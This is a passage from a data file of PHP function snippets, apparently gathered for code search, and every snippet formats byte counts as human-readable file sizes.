' TB');\n for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;\n return round($size, 2).$units[$i];\n}", "function size_format($bytes=\"\")\n\t{\n\t\t$retval = \"\";\n\t\t\n\t\tif ($bytes >= 1048576)\n\t\t{\n\t\t\t$retval = round($bytes / 1048576 * 100 ) / 100 . $this->lang['sf_mb'];\n\t\t}\n\t\telse if ($bytes >= 1024)\n\t\t{\n\t\t\t$retval = round($bytes / 1024 * 100 ) / 100 . $this->lang['sf_k'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$retval = $bytes . $this->lang['sf_bytes'];\n\t\t}\n\t\t\n\t\treturn $retval;\n\t}", "function format_bytes($size, $precision = 0)\n {\n $sizes = array(\n 'YB',\n 'ZB',\n 'EB',\n 'PB',\n 'TB',\n 'GB',\n 'MB',\n 'KB',\n 'B'\n );\n $total = count($sizes);\n \n while ($total-- && $size > 1024)\n $size /= 1024;\n return sprintf('%.' . $precision . 'f', $size) . $sizes[$total];\n }", "function formatBytes($intSize) {\n\t\treturn sprintf('%0.2f', ($intSize/1000)). ' Kb';\n\t}", "function format_toSizeInBytes_shortForm($size_in_bytes) {\n\t\t//\n\t\t// Data sizes are normally specified in KB - powers of 1024, so return KB rather than kB\n\n\t\tif ($size_in_bytes < (1024 * 1024)) {\n\t\t\t$unit = \"K\";\n\t\t\t$unitSize = $size_in_bytes / 1024;\n\t\t} else if ($size_in_bytes < (1024 * 1024 * 1024)) {\n\t\t\t$unit = \"M\";\n\t\t\t$unitSize = $size_in_bytes / (1024 * 1024);\n\t\t} else {\n\t\t\t$unit = \"G\";\n\t\t\t$unitSize = $size_in_bytes / (1024 * 1024 * 1024);\n\t\t}\n\n\t\t$showDecimalPlace = $unitSize < 10 && round($unitSize, 1) != round($unitSize);\n\n\t\treturn sprintf($showDecimalPlace ? \"%1.1f\" : \"%1.0f\", $unitSize) . $unit;\n\t}", "function formatRawSize($bytes) {\n if(!empty($bytes)) {\n\n $s = array('bytes', 'kb', 'MB', 'GB', 'TB', 'PB');\n $e = floor(log($bytes)/log(1024));\n\n $output = sprintf('%.2f '.$s[$e], ($bytes/pow(1024, floor($e))));\n\n return $output;\n }\n}", "protected function formatBytes($bytes)\n {\n $size = (integer) $bytes;\n\n if ( ! $this->useFormatting) {\n return $size;\n }\n\n $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];\n\n return @round($size / pow(1024, ($i = floor(log($size, 1024)))), 2) . ' ' . $units[$i];\n }", "function cre_resize_bytes($size) {\n $count = 0;\n $format = array(\"B\",\"KB\",\"MB\",\"GB\",\"TB\",\"PB\",\"EB\",\"ZB\",\"YB\");\n while(($size/1024)>1 && $count<8) {\n $size=$size/1024;\n $count++;\n }\n $return = number_format($size,0,'','.').\" \".$format[$count];\n return $return;\n }", "public function formatSize($bytes, $precision = 2)\n {\n if ((int)$bytes < 1) {\n return '';\n }\n\n $units = ['B', \"KB\", \"MB\", \"GB\", \"TB\"];\n\n $bytes = (int)$bytes;\n $base = log($bytes) / log(1000); // 1024 would be for MiB KiB etc\n $pow = pow(1000, $base - floor($base)); // Same rule for 1000\n\n return round($pow, $precision) . ' ' . $units[(int)floor($base)];\n }", "function formatBytes($size, $precision = 2)\n {\n $base = log($size, 1024);\n $suffixes = array('', 'K', 'M', 'G', 'T'); \n\n return round(pow(1024, $base - floor($base)), $precision) .' '. $suffixes[floor($base)];\n }", "public function formatBytes(int $size): string\n {\n $units = ['B', 'KB', 'MB', 'GB', 'TB'];\n $base = \\log($size) / \\log(1024);\n\n return \\round(1024 ** ($base - \\floor($base)), 1) . ' ' . $units[(int)\\floor($base)];\n }", "function formatBytes($size, $precision = 1)\n{\n $base = log($size, 1024);\n $suffixes = array('B', 'KB', 'MB', 'GB', 'TB');\n return round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)];\n}", "function formatBytes($size, $precision = 2)\n {\n if($size != 0){\n $base = log($size, 1024);\n $suffixes = array('kB', 'MB', 'GB', 'TB'); \n return round(pow(1024, $base - floor($base)), $precision) .''. $suffixes[floor($base)];\n }\n return 0;\n }", "function filesize_formatted($size)\n{\n\t$units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n\t$power = $size > 0 ? floor(log($size, 1024)) : 0;\n\treturn number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];\n}", "public static function formatSize($size)\n {\n if ($size < DRUSH_KILOBYTE) {\n // format_plural() not always available.\n return dt('@count bytes', ['@count' => $size]);\n } else {\n $size /= DRUSH_KILOBYTE; // Convert bytes to kilobytes.\n $units = [\n dt('@size KB', []),\n dt('@size MB', []),\n dt('@size GB', []),\n dt('@size TB', []),\n dt('@size PB', []),\n dt('@size EB', []),\n dt('@size ZB', []),\n dt('@size YB', []),\n ];\n foreach ($units as $unit) {\n if (round($size, 2) >= DRUSH_KILOBYTE) {\n $size /= DRUSH_KILOBYTE;\n } else {\n break;\n }\n }\n return str_replace('@size', round($size, 2), $unit);\n }\n }", "function twe_format_filesize($size) {\n\t$a = array(\"B\",\"KB\",\"MB\",\"GB\",\"TB\",\"PB\");\n\t\n\t$pos = 0;\n\twhile ($size >= 1024) {\n\t\t$size /= 1024;\n\t\t$pos++;\n\t}\n\treturn round($size,2).\" \".$a[$pos];\n}", "function format_filesize($size)\r\n{\r\n\r\n // Measure & Number of decimals\r\n $measures = array (\r\n 0 => array ( \"B\", 0 ),\r\n 1 => array ( \"KB\", 0 ),\r\n 2 => array ( \"MB\", 0 ),\r\n 3 => array ( \"GB\", 2 ),\r\n 4 => array ( \"TB\", 3 )\r\n );\r\n\r\n $file_size = (double)$size;\r\n\r\n for ( $i = 0; $file_size >= 1024; $i++ )\r\n {\r\n $file_size = (double)$file_size / 1024;\r\n }\r\n\r\n $file_size = number_format ( $file_size, $measures[$i][1] );\r\n\r\n return $file_size.\" \".$measures[$i][0];\r\n}", "function byteSizeConvert($size){\n $unit=array('b','kb','mb','gb','tb','pb');\n return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];\n}", "function bytesToHumanReadable (int $size, int $decimals = 2): string {\n\tif ($size >= 1 << 40)\n\t\treturn number_format($size / (1 << 40), $decimals).\"TB\";\n\tif ($size >= 1 << 30)\n\t\treturn number_format($size / (1 << 30), $decimals).\"GB\";\n\tif ($size >= 1 << 20)\n\t\treturn number_format($size / (1 << 20), $decimals).\"MB\";\n\tif ($size >= 1 << 10)\n\t\treturn number_format($size / (1 << 10), $decimals).\"KB\";\n\treturn number_format($size, $decimals).\"B\";\n}", "function bytes_to_human_size($size, $decimals = 1)\n {\n $suffix = array('Bytes','KB','MB','GB','TB','PB','EB','ZB','YB','NB','DB');\n $i = 0;\n\n while ($size >= 1024 && ($i < count($suffix) - 1)) {\n $size /= 1024;\n $i++;\n }\n\n return round($size, $decimals) . ' ' . $suffix[$i];\n }", "function sizeFormat($size) { \n if($size<1024) \n { \n return $size.\" bytes\"; \n } \n else if($size<(1024*1024)) \n { \n $size=round($size/1024,1); \n return $size.\" KB\"; \n } \n else if($size<(1024*1024*1024)) \n { \n $size=round($size/(1024*1024),1); \n return $size.\" MB\"; \n } \n else \n { \n $size=round($size/(1024*1024*1024),1); \n return $size.\" GB\"; \n } \n}", "function sizeFormat($b = 0){\r\n\t\tif($b < 1024){\r\n\t\t\treturn $b . 'bytes';\r\n\t\t}elseif($b < 1048576){\r\n\t\t\treturn round($b / 1024 * 100 ) / 100 . 'KB';\r\n\t\t}elseif($b < 130023424){\r\n\t\t\treturn round($b / 1048576 * 100 ) / 100 . 'MB';\r\n\t\t}elseif($b < 133143986176){\r\n\t\t\treturn round($b / 130023424 * 100) / 100 . 'GB';\r\n\t\t}else{\r\n\t\t\treturn round($b / 133143986176 * 100) / 100 . 'TB';\r\n\t\t}\r\n\t}", "function _files_formatFileSize($size) {\n\t$suffix = '';\n\t\n\t## check if we got a number\n\tif(!is_numeric($size) || $size < 0) {\n\t\treturn 0;\n\t}\n\t\n\t## now determine the 'level'\n\tfor($level = 0; $size >= 1024; $level++) {\n\t\t$size /= 1024;\n\t}\n\t\n\t## now add the suffix\n\tswitch($level) {\n\t\tcase 0: $suffix = 'Bytes'; break;\n\t\tcase 1: $suffix = 'KB'; break;\n\t\tcase 2: $suffix = 'MB'; break;\n\t\tcase 3: $suffix = 'GB'; break;\n\t\tdefault: $suffix = '';\n\t}\n\t\n\treturn round($size,2) . ' '.$suffix;\n}", "public function getSize(): string\n {\n $B = 1;\n $KB = $B * 1024;\n $MB = $KB * 1024;\n $GB = $MB * 1024;\n\n $bytes = filesize($this->filePath);\n\n $units = match (true)\n {\n $bytes >= $GB => ['suffix' => 'GiB', 'base' => $GB, 'css' => 'text-dark'],\n $bytes >= $MB => ['suffix' => 'MiB', 'base' => $MB, 'css' => 'text-light'],\n $bytes >= $KB => ['suffix' => 'KiB', 'base' => $KB, 'css' => 'text-muted'],\n default => ['suffix' => 'B', 'base' => $B, 'css' => 'text-danger']\n };\n\n return sprintf('%.3f', $bytes / $units['base']) . $units['suffix'];\n }", "function convert($size)\n {\n $unit=array('b','kb','mb','gb','tb','pb');\n return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];\n }", "function format_bytes($a_bytes) {\n if ($a_bytes < 1024) {\n return $a_bytes .' B';\n } elseif ($a_bytes < 1048576) {\n return round($a_bytes / 1024, 2) .' Kb';\n } elseif ($a_bytes < 1073741824) {\n return round($a_bytes / 1048576, 2) . ' Mb';\n } elseif ($a_bytes < 1099511627776) {\n return round($a_bytes / 1073741824, 2) . ' Gb';\n } elseif ($a_bytes < 1125899906842624) {\n return round($a_bytes / 1099511627776, 2) .' Tb';\n } elseif ($a_bytes < 1152921504606846976) {\n return round($a_bytes / 1125899906842624, 2) .' Pb';\n } elseif ($a_bytes < 1180591620717411303424) {\n return round($a_bytes / 1152921504606846976, 2) .' Eb';\n } elseif ($a_bytes < 1208925819614629174706176) {\n return round($a_bytes / 1180591620717411303424, 2) .' Zb';\n } else {\n return round($a_bytes / 1208925819614629174706176, 2) .' Yb';\n }\n}", "function number_to_human_size($bytes){\n\t$border = 1024 * 1.5;\n\tif ($bytes < $border)\n\t\treturn sprintf('%u Byte', $bytes);\n\t\n\t$bytes /= 1024;\n\tif ($bytes < $border)\n\t\treturn sprintf('%u KiByte', $bytes);\n\t\n\t$bytes /= 1024;\n\treturn sprintf('%.1f MiByte', $bytes);\n}", "function formatBytes($bytes) {\n\t\tif ($bytes < 1024) return $bytes.' B';\n\t\telseif ($bytes < 1048576) return round($bytes / 1024, 2).' KB';\n\t\telseif ($bytes < 1073741824) return round($bytes / 1048576, 2).' MB';\n\t\telseif ($bytes < 1099511627776) return round($bytes / 1073741824, 2).' GB';\n\t\telse return round($bytes / 1099511627776, 2).' TB';\n\t}", "protected function formatBytes($size, $precision = 2)\n\t{\n\t\t$base = log($size, 1024);\n\t\t$suffixes = array('bytes', 'kb', 'Mb', 'G', 'T'); \n\n\t\treturn round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)];\n\t}", "function formatSize($filename)\n\t{\n\n\t\tif (is_string($filename) && !is_numeric($filename)) $size = filesize($filename);\n\n\t\t$mod = 1024;\n\t\t$units = explode(' ', 'B KB MB GB TB PB');\n\n\t\tfor ($i = 0; $size > $mod; $i++)\n\t\t{\n\t\t\t$size /= $mod;\n\t\t}\n\n\t\treturn round($size, 2).' '.$units[$i];\n\n\t}", "private function getSizeFormattedSi(int $size): string\n {\n if ($size > 1000 * 1000) {\n return sprintf('%0.1f MB', ($size / 1000 / 1000));\n }\n if ($size > 1000) {\n return sprintf('%0.1f KB', ($size / 1000));\n }\n\n return $size . ' B';\n }", "public function formatBytes($size, $precision = 2)\n\t{\n\t $base = log($size) / log(1024);\n\t $suffixes = array('', 'k', 'M', 'G', 'T'); \n\n\t return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\n\t}", "function format_size($file_size, $sizetype) {\n\t\tswitch(strtolower($sizetype)){\n\t\t\tcase \"kb\":\n\t\t\t\t$filesize = $file_size * .0009765625; // bytes to KB\n\t\t\tbreak;\n\t\t\tcase \"mb\":\n\t\t\t\t$filesize = $file_size * .0009765625 * .0009765625; // bytes to MB\n\t\t\tbreak;\n\t\t\tcase \"gb\":\n\t\t\t\t$filesize = $file_size * .0009765625 * .0009765625 * .0009765625; // bytes to GB\n\t\t\tbreak;\n\t\t}\n\t\tif($filesize <= 0){\n\t\t\t$filesize = 0;\n\t\t} else {\n\t\t\t$filesize = round($filesize, 2).' '.$sizetype;\n\t\t}\n\t\treturn $filesize;\n\t}", "function humanReadableToBytes (string $size): int {\n\t$unitIndex = 0;\n\n\t$chars = str_split($size);\n\t$charsLen = count($chars);\n\n\t$multipliers =\n\t\t[\n\t\t\t'B' => 1,\n\t\t\t'KB' => 1 << 10,\n\t\t\t'MB' => 1 << 20,\n\t\t\t'GB' => 1 << 30,\n\t\t\t'TB' => 1 << 40\n\t\t];\n\n\tfor ($i = 0; $i < $charsLen; $i++) {\n\t\tif (!is_numeric($size[$i]) and $size[$i] != '.') {\n\t\t\t$unitIndex = $i;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t$sizeN = floatval(substr($size, 0, $unitIndex));\n\t$sizeU = substr($size, $unitIndex, $charsLen - $unitIndex);\n\n\treturn round($sizeN * $multipliers[$sizeU]);\n}", "function formatSizeUnits($bytes)\n {\n if ($bytes >= 1073741824)\n\t {\n\t $bytes = number_format($bytes / 1073741824, 2) . ' GB';\n }\n elseif ($bytes >= 1048576)\n {\n $bytes = number_format($bytes / 1048576, 2) . ' MB';\n\t }\n elseif ($bytes >= 1024)\n {\n $bytes = number_format($bytes / 1024, 2) . ' KB';\n }\n elseif ($bytes > 1)\n {\n $bytes = $bytes . ' bytes';\n }\n\t elseif ($bytes == 1)\n {\n\t $bytes = $bytes . ' byte';\n }\n else\n {\n $bytes = '0 bytes';\n\t }\n\n return $bytes;\n}", "private function formatBytes($size, $precision = 2)\n {\n $base = log($size, 1024);\n $suffixes = array('B', 'kB', 'MB', 'GB', 'TB', 'PT');\n return round(pow(1024, $base - floor($base)), $precision) .' '. $suffixes[floor($base)];\n }", "function formatSizeUnits($bytes) {\n if ($bytes >= 1073741824) {\n $bytes = number_format($bytes / 1073741824, 2) . ' GB';\n } elseif ($bytes >= 1048576) {\n $bytes = number_format($bytes / 1048576, 2) . ' MB';\n } elseif ($bytes >= 1024) {\n $bytes = number_format($bytes / 1024, 2) . ' KB';\n } elseif ($bytes > 1) {\n $bytes = $bytes . ' bytes';\n } elseif ($bytes == 1) {\n $bytes = $bytes . ' byte';\n } else {\n $bytes = '0 bytes';\n }\n return $bytes;\n}", "function prettySize($size)\n{\n $limit = 10 * 1024;\n $mult = 1;\n\n if ($size < ($limit * $mult)) {\n $retSize = $size . \" bytes\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" KiB\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" MiB\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" GiB\";\n } else {\n $mult *= 1024;\n $size = round($size / $mult);\n $retSize = $size . \" TiB\";\n }\n }\n }\n }\n return $retSize;\n}", "function bsize($size) {\n foreach (array('', 'K', 'M', 'G') as $k) {\n if ($size < 1024) {\n break;\n }\n $size /= 1024;\n }\n return sprintf(\"%5.1f %sBytes\", $size, $k);\n}", "function size_readable ($size, $retstring = null) {\n // adapted from code at http://aidanlister.com/repos/v/function.size_readable.php\n $sizes = array('B ', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n if ($retstring === null) { $retstring = '%01.2f %s'; }\n $lastsizestring = end($sizes);\n foreach ($sizes as $sizestring) {\n if ($size < 1024) { break; }\n if ($sizestring != $lastsizestring) { $size /= 1024; }\n }\n if ($sizestring == $sizes[0]) { $retstring = '%01d %s'; } // Bytes aren't normally fractional\n return sprintf($retstring, $size, $sizestring);\n }", "function formatSize($b)\n\t{\n\t\t//1024\t\tk\n\t\t//1048576\tm\n\t\t//1073741824\tg\n\n\t\tif ($b >= 1073741824)\n\t\t\t$thesize = round($b / 1073741824 * 100) / 100 . \"G\"; \n\t\telseif ($b >= 1048576)\n\t\t\t$thesize = round($b / 1048576 * 100) / 100 . \"MB\";\n\t\telseif ($b >= 1024)\n\t\t\t$thesize = round($b / 1024 * 100) / 100 . \"K\"; \n\t\telse\n\t\t\t$thesize = $b . \"b\";\n\n\t\treturn $thesize;\n\t}", "public static function format_bytes($size, $precision = 2)\n\t{\n\t\t$base = log($size, 1024);\n\t\t$suffixes = array('', 'kB', 'MB', 'GB', 'TB');\n\n\t\treturn round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\n\t}", "public static function formatBytes($size, $precision = 2)\n {\n if ($size > 0) {\n $size = (int) $size;\n $base = log($size) / log(1024);\n $suffixes = array(' bytes', ' KB', ' MB', ' GB', ' TB');\n\n return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\n } else {\n return $size;\n }\n }", "public function formatSizeDataProvider() {}", "public static function pt_size_format($bytes, $dec=2 ): string\n {\n if($bytes < 1024){\n return $bytes . ' B';\n }\n $factor = floor(log($bytes, 1024));\n return sprintf(\"%.{$dec}f\",$bytes / (1024 ** $factor)) .' '. self::$size_unites[$factor];\n }", "public static function formatBytes($size, $precision = 2)\r\n {\r\n $base = log($size) / log(1024);\r\n $suffixes = array('', 'k', 'M', 'G', 'T'); \r\n return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\r\n }", "private function formatByteCount($bytes, $precision = 2) {\n\t\t$units = array('bytes', 'KiB', 'MiB', 'GiB', 'TiB'); //SI units.\n\n\t\t$bytes = max($bytes, 0);\n\t\t$pow = floor(($bytes ? log($bytes) : 0) / log(1024));\n\t\t$pow = min($pow, count($units) - 1);\n\n\t\t$size = $bytes / pow(1024, $pow);\n\n\t\treturn round($size, $precision) . ' ' . $units[$pow];\n\t}", "public function format_bytes($bytes) {\n if ($bytes < 1024) {\n return $bytes .' B';\n } elseif ($bytes < 1048576) {\n return round($bytes / 1024, 2) .' KiB';\n } elseif ($bytes < 1073741824) {\n return round($bytes / 1048576, 2) . ' MiB';\n } elseif ($bytes < 1099511627776) {\n return round($bytes / 1073741824, 2) . ' GiB';\n } elseif ($bytes < 1125899906842624) {\n return round($bytes / 1099511627776, 2) .' TiB';\n } elseif ($bytes < 1152921504606846976) {\n return round($bytes / 1125899906842624, 2) .' PiB';\n } elseif ($bytes < 1180591620717411303424) {\n return round($bytes / 1152921504606846976, 2) .' EiB';\n } elseif ($bytes < 1208925819614629174706176) {\n return round($bytes / 1180591620717411303424, 2) .' ZiB';\n } else {\n return round($bytes / 1208925819614629174706176, 2) .' YiB';\n }\n }", "function cs_format_bytes($bytes, $decimals = 2)\r\n{\r\n\tif ($bytes < 1024)\r\n\t{\r\n\t\treturn sprintf('%d Bytes', $bytes);\r\n\t}\r\n\t$bytes /= 1024.0;\r\n\tif ($bytes < 1024)\r\n\t{\r\n\t\treturn sprintf('%.'.$decimals.'f KiB', $bytes);\r\n\t}\r\n\t$bytes /= 1024.0;\r\n\tif ($bytes < 1024)\r\n\t{\r\n\t\treturn sprintf('%.'.$decimals.'f MiB', $bytes);\r\n\t}\r\n\t$bytes /= 1024.0;\r\n\tif ($bytes < 1024)\r\n\t{\r\n\t\treturn sprintf('%.'.$decimals.'f GiB', $bytes);\r\n\t}\r\n\t$bytes /= 1024.0;\r\n\treturn sprintf('%.'.$decimals.'f TiB', $bytes);\r\n}", "public function getFormatSize() {}", "function byteConvert($size, $round = 0) {\n \t/* La size deve essere espressa in Bytes */\n \t$sizes = array('B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n \tfor ($i=0; $size > 1024 && $i < count($sizes) - 1; $i++) $size /= 1024;\n \t\n \treturn round($size,$round).\" \".$sizes[$i];\n\t}", "function sloodle_get_size_description($size)\n {\n // Make sure we have a number of bytes\n $bytes = 0;\n if (is_int($size)) $bytes = $size;\n else $bytes = sloodle_convert_file_size_shorthand($size);\n $desc = '';\n\n // Keep the number small by going with the largest possible units\n if ($bytes >= 1073741824) $desc = ($bytes / 1073741824).\" GB\";\n else if ($bytes >= 1048576) $desc = ($bytes / 1048576). \" MB\";\n else if ($bytes >= 1024) $desc = ($bytes / 1024). \" KB\";\n else $desc = $bytes . \" bytes\";\n\n return $desc;\n }", "function round_up_bytes($size) {\n if($size < 1024) {\n return array('size'=>round($size,2),'label'=>'B');\n } elseif($size >= 1024 AND $size < 1048576) {\n return array('size'=>round(($size / 1024),2),'label'=>'KB');\n } elseif($size >= 1048576 AND $size < 1073741824) {\n return array('size'=>round(($size / 1048576),2),'label'=>'MB');\n } else {\n return array('size'=>round(($size / 1073741824),2),'label'=>'GB');\n }\n}", "public function getFormattedSize($kilobytes) {\n // load translated abbreviations\n global $html_kb, $html_mb, $html_gb;\n\n if ($kilobytes >= 1048576) { //If gigabytes...\n $size = round($kilobytes / 1024 / 1024);\n return $size . ' ' . $html_gb;\n }\n elseif (($kilobytes < 1048576) && ($kilobytes >= 1024)) { //If megabytes...\n $size = round($kilobytes / 1024);\n return $size . ' ' . $html_mb;\n }\n else { //If kilobytes...\n return $kilobytes . ' ' . $html_kb;\n }\n }", "public function formatBytes($bytes) {\n // JEDEC memory standard\n $units = array(\"Bytes\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\");\n\n // 0 bytes - doh!\n if ($bytes == 0) {\n return $bytes . \" \" . $units[0];\n }\n\n // Temporary value\n $i = (int)\\floor(\\log($bytes) / \\log(1024));\n\n // Return space usage in good format + prefix\n return \\round($bytes / \\pow(1024, $i), 2) . \" \" . $units[$i];\n }", "function formatBytes( $bytes, $precision = 2 )\n{\n $units = array('b', 'Kb', 'Mb', 'Gb', 'Tb');\n $bytes = max($bytes, 0);\n $pow = floor(($bytes ? log($bytes) : 0) / log(1024));\n $pow = min($pow, count($units) - 1);\n $bytes /= pow(1024, $pow);\n return round($bytes, $precision) . ' ' . $units[$pow];\n}", "function _parseSize($size)\r\n\t{\r\n\t\tif ($size < 1024) {\r\n\t\t\treturn $size . ' bytes';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif ($size >= 1024 && $size < 1024 * 1024) {\r\n\t\t\t\treturn sprintf('%01.2f', $size / 1024.0) . ' Kb';\r\n\t\t\t} else {\r\n\t\t\t\treturn sprintf('%01.2f', $size / (1024.0 * 1024)) . ' Mb';\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function getSizeFormatted($si = false);", "function format_bytes($bytes, $round=1) {\n\tswitch($bytes) {\n\t\tcase $bytes < 1024:\n\t\t\treturn $bytes .' B';\n\t\tbreak;\n\t\tcase $bytes < 1048576:\n\t\t\t return round($bytes / 1024, $round) .' KB';\n\t\tbreak;\n\t\tcase $bytes < 1073741824:\n\t\t\treturn round($bytes / 1048576, $round) . ' MB';\n\t\tbreak;\t\t\n\t}\n}", "function view_size($size) {\n\n\tif (!is_numeric($size))\n\t\treturn \"[Error]\";\n\telse {\n\t\tif ($size >= 1073741824)\n\t\t\t$size = round($size/1073741824*100)/100 .\" GB\";\n\t\telse\n\t\t\tif ($size >= 1048576)\n\t\t\t\t$size = round($size/1048576*100)/100 .\" MB\";\n\t\telse\n\t\t\tif ($size >= 1024)\n\t\t\t\t$size = round($size/1024*100)/100 .\" KB\";\n\t\telse \n\t\t\t$size = $size . \" B\";\n\t\t\t\n\t\treturn $size;\n\t}\n}", "protected function formatBytes($bytes) {\n\t\tif ($bytes > 1024*1024*1024) {\n\t\t\t$bytes = $bytes/(float)(1024*1024*1024);\n\t\t\treturn sprintf('%.1f GB', $bytes);\n\t\t} elseif ($bytes > 1024*1024) {\n\t\t\t$bytes = $bytes/(float)(1024*1024);\n\t\t\treturn sprintf('%.1f MB', $bytes);\n\t\t} elseif ($bytes > 1024) {\n\t\t\t$bytes = $bytes/(float)(1024);\n\t\t\treturn sprintf('%.1f kB', $bytes);\n\t\t}\n\t\treturn $bytes. ' bytes';\n\t}", "function byteSize($bytes){\n $size = $bytes / 1024;\n if($size < 1024){\n $size = number_format($size, 2);\n $size .= ' KB';\n }else{\n if($size / 1024 < 1024){\n $size = number_format($size / 1024, 2);\n $size .= ' MB';\n }else \n \tif ($size / 1024 / 1024 < 1024){\n \t$size = number_format($size / 1024 / 1024, 2);\n \t$size .= ' GB';\n }else\n \tif ($size / 1024 / 1024 / 1024 < 1024){\n \t$size = number_format($size / 1024 / 1024 / 1024, 2);\n \t$size .= ' TB';\n \t} \n }\n return $size;\n}", "function formatBytes($bytes, $precision = 2) { \n $units = array('B', 'KB', 'MB', 'GB', 'TB'); \n $bytes = max($bytes, 0); \n $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); \n $pow = min($pow, count($units) - 1); \n $bytes /= pow(1024, $pow); \n return round($bytes, $precision) . ' ' . $units[$pow]; \n }", "public function formatBytes($size, $precision = 2)\n {\n if ($size > 0) {\n $size = (int) $size;\n $base = log($size) / log(1024);\n $suffixes = array(' bytes', ' KB', ' MB', ' GB', ' TB');\n\n return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\n } else {\n return $size . ' bytes';\n }\n }", "public function formatSizeFromBytes($bytes){\n\n return round($bytes/1000000, 2).\" MB\";\n\n }", "private static function toFormattedBytes(int $bytes) : string\n {\n $precision = 2;\n $base = log($bytes, 1024);\n $suffixes = array('', 'K', 'M', 'G', 'T');\n\n return round(1024 ** ($base - floor($base)), $precision) . $suffixes[floor($base)];\n }", "public static function toDataSizeString($size, $scale = 1024, $unit = 'oct', $kilo = 'Ko', $mega = 'Mo', $giga = 'Go', $tera = 'To') {\r\n if ($size < $scale) {\r\n return $size . ' ' . $unit;\r\n } elseif ($size < ($scale * $scale)) {\r\n return sprintf('%01.2f ' . $kilo, $size / $scale);\r\n } elseif ($size < ($scale * $scale * $scale)) {\r\n return sprintf('%01.2f ' . $mega, $size / ($scale * $scale));\r\n } elseif ($size < ($scale * $scale * $scale * $scale)) {\r\n return sprintf('%01.2f ' . $giga, $size / ($scale * $scale * $scale));\r\n }\r\n return sprintf('%01.2f ' . $tera, $size / ($scale * $scale * $scale * $scale));\r\n }", "function testFormatSize() {\n\t\t$this->assertEquals(\"1000 bytes\", File::format_size(1000));\n\t\t$this->assertEquals(\"1023 bytes\", File::format_size(1023));\n\t\t$this->assertEquals(\"1 KB\", File::format_size(1025));\n\t\t$this->assertEquals(\"9.8 KB\", File::format_size(10000));\n\t\t$this->assertEquals(\"49 KB\", File::format_size(50000));\n\t\t$this->assertEquals(\"977 KB\", File::format_size(1000000));\n\t\t$this->assertEquals(\"1 MB\", File::format_size(1024*1024));\n\t\t$this->assertEquals(\"954 MB\", File::format_size(1000000000));\n\t\t$this->assertEquals(\"1 GB\", File::format_size(1024*1024*1024));\n\t\t$this->assertEquals(\"9.3 GB\", File::format_size(10000000000));\n\t\t// It use any denomination higher than GB. It also doesn't overflow with >32 bit integers\n\t\t$this->assertEquals(\"93132.3 GB\", File::format_size(100000000000000));\n\t}", "function size_text($bytes=0) {\n $unit = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n $i = 0;\n $size = $bytes;\n while ($size >= 1000) {\n $size /= 1000;\n $i++;\n }\n return round($size, 2) . $unit[$i];\n}", "function show_bytes($bytes)\n{\n if ($bytes > 1073741824)\n {\n $gb = $bytes/1073741824;\n $str = sprintf($gb>=10 ? \"%d \" : \"%.1f \", $gb) . crystal_label('GB');\n }\n else if ($bytes > 1048576)\n {\n $mb = $bytes/1048576;\n $str = sprintf($mb>=10 ? \"%d \" : \"%.1f \", $mb) . crystal_label('MB');\n }\n else if ($bytes > 1024)\n $str = sprintf(\"%d \", round($bytes/1024)) . crystal_label('KB');\n else\n $str = sprintf('%d ', $bytes) . crystal_label('B');\n\n return $str;\n}", "function formatBytes($bytes, int $precision = 2): string\n {\n $units = array('B', 'KB', 'MB', 'GB', 'TB');\n $bytes = max($bytes, 0);\n $pow = floor(($bytes ? log($bytes) : 0) / log(1024));\n $pow = min($pow, count($units) - 1);\n $bytes /= pow(1024, $pow);\n return round($bytes, $precision) . ' ' . $units[$pow];\n }", "public static function formatSize($size, $decimals = 1) {\n\t\t\n\t\tif($size==0)\n\t\t\treturn \"0 bytes\";\n\t\t\n\t\tswitch ($size) {\n\t\t\tcase ($size >= 1073741824) :\n\t\t\t\t$size = self::localize($size / 1073741824, $decimals);\n\t\t\t\t$size .= \" G\";\n\t\t\t\tbreak;\n\n\t\t\tcase ($size >= 1048576) :\n\t\t\t\t$size = self::localize($size / 1048576, $decimals);\n\t\t\t\t$size .= \" M\";\n\t\t\t\tbreak;\n\n\t\t\tcase ($size >= 1024) :\n\t\t\t\t$size = self::localize($size / 1024, $decimals);\n\t\t\t\t$size .= \" K\";\n\t\t\t\tbreak;\n\n\t\t\tdefault :\n\t\t\t\t$size = self::localize($size, $decimals);\n\t\t\t\t$size .= \" bytes\";\n\t\t\t\tbreak;\n\t\t}\n\t\treturn $size;\n\t}", "public function __invoke($size, $precision = 2)\n {\n if ($size < 1024) {\n return sprintf('%d B', $size);\n }\n\n if (($size / 1024) < 1024) {\n return sprintf('%.0f KB', $size / 1024);\n }\n\n return sprintf('%.' . $precision . 'f MB', $size / 1024 / 1024);\n }", "function return_bytes ($size_str)\n\t{\n\t\tswitch (substr ($size_str, -1))\n\t\t{\n\t\t\tcase 